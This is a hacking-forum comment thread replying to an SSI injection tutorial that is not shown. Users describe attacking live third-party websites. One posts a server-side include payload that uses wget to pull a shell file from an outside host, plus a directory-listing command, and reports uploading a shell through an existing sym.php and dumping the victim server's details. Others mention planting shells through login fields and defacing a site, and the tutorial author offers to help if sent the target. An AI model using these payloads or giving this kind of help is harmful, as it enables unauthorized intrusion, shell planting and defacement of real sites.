[Oats‌‌‌]

Great guide, will be testing it out later, thanks for the share man.

-Oats 😎

[ĦĒČŦØŔ]

great tutorial bro
thank you very much.

[Onju]

Great tutorial bro'
I love it. Thanks for share

[fobber]

Nice tutorial as always, Haxor.
Reminds me a lot of Stewies tutorial. But oh well.

Anyway. I found a SSI vulnerable website. I was able to get the current time, and list all files in the folder. But I wasn't able to upload a txt file to there.

I used this code:

Code

[b]<!--[/b]#exec cmd="wget http://***/zhellz/sea.txt" -->

It gave me this message (as expected):
Sign-in is required to use the lightbox functions. The user: , does not exist, please try again.

I tren tried listing all files on there using this:

Code

<pre>[b]<!--[/b]#exec cmd="ls -a" --></pre>[b]<!--[/b]#exec cmd="ls -a" --></pre>

But sea.txt was no where to be found. Did I do anything wrong?

When I use ls -a to list all the files, I do see a lot of shells have been uploaded already. GHOST_SH3LL.php, c100.php, shellie.php, sym.php, wso.php and more.

[HaxOr❤]

Nice tutorial as always, Haxor.
Reminds me a lot of Stewies tutorial. But oh well.

Anyway. I found a SSI vulnerable website. I was able to get the current time, and list all files in the folder. But I wasn't able to upload a txt file to there.

I used this code:

Code

[b]<!--[/b]#exec cmd="wget http://***/zhellz/sea.txt" -->

It gave me this message (as expected):
Sign-in is required to use the lightbox functions. The user: , does not exist, please try again.

I tren tried listing all files on there using this:

Code

<pre>[b]<!--[/b]#exec cmd="ls -a" --></pre>[b]<!--[/b]#exec cmd="ls -a" --></pre>

But sea.txt was no where to be found. Did I do anything wrong?

Maybe wget function is disabled.
Try another site... :)

[fobber]

Maybe wget function is disabled.
Try another site... :)

Perhaps. I just find it weird that so many others have succeeded to upload a shell then. Oh well. I will try the next vulnerable site on Dans list! :)

I found a file called sym.php, and through that I was able to upload a shell. Of course that isn't what I wanted. I wanted to do it through SSI, not through an already existing PHP file. The file I uploaded, gave me this information though:

Code

Operating System : Linux ***.org 2.6.18-128.7.1.el5 #1 SMP Wed Aug 19 04:00:49 EDT 2009 x86_64
Server Name : www.***.com
Disable_Functions : All Functions Enable
Safe_Mode : Off
Openbase_dir :
Php Version : 5.1.6
Free Space : 1.71 GB
Total Space : 2.91 GB
Register_Globals : disable
Curl : disable
Database
Server Name : www.***.com
Admin Server : [email protected]

[sam2011hacker]

Haxor did i told u that i love u. Be my teacher please

[Onju]

๖ۣۜΗ α x O r ♥ > Why is impossible to see shell control panel?
white page.

[HaxOr❤]

Perhaps. I just find it weird that so many others have succeeded to upload a shell then. Oh well. I will try the next vulnerable site on Dans list! :)

I found a file called sym.php, and through that I was able to upload a shell. Of course that isn't what I wanted. I wanted to do it through SSI, not through an already existing PHP file. The file I uploaded, gave me this information though:

Code

Operating System : Linux ***.org 2.6.18-128.7.1.el5 #1 SMP Wed Aug 19 04:00:49 EDT 2009 x86_64
Server Name : www.***.com
Disable_Functions : All Functions Enable
Safe_Mode : Off
Openbase_dir :
Php Version : 5.1.6
Free Space : 1.71 GB
Total Space : 2.91 GB
Register_Globals : disable
Curl : disable
Database
Server Name : www.***.com
Admin Server : [email protected]

PM me the site and i will help you. :)

๖ۣۜΗ α x O r ♥ > Why is impossible to see shell control panel?
white page.

Try other shell.

[Prx3R0]

Nice tut like all your tuts haxor ^_^ Thanks!
But yesterday i upload a shell using SSI Injection. I defaced the site, and just me saw the deface. why ?

[Onju]

I test a shell on my website, and it's work properly :o

[The Decoder]

Thats Great tut buddy
luking lyk lfi
nice share

[akatzbreaker]

Great Tutorial! I hadn't heard of SSI Injection before but I find it really easy!

[CamIce]

Hello! Great tut! I've never heard about SSI injection before, so thanks for that!
I have only 1 problem: when I execute teh wget command on a login (yes, i put the same in user,- and password place), it does not upload my shell in to the server. Do you know why it happends so? I am sure that the website is not fitering my input, because the other commands works as they should work.

[Team4o4]

Hello! Great tut! I've never heard about SSI injection before, so thanks for that!
I have only 1 problem: when I execute teh wget command on a login (yes, i put the same in user,- and password place), it does not upload my shell in to the server. Do you know why it happends so? I am sure that the website is not fitering my input, because the other commands works as they should work.

Some sites block or don't work with wget commands... Don't know why...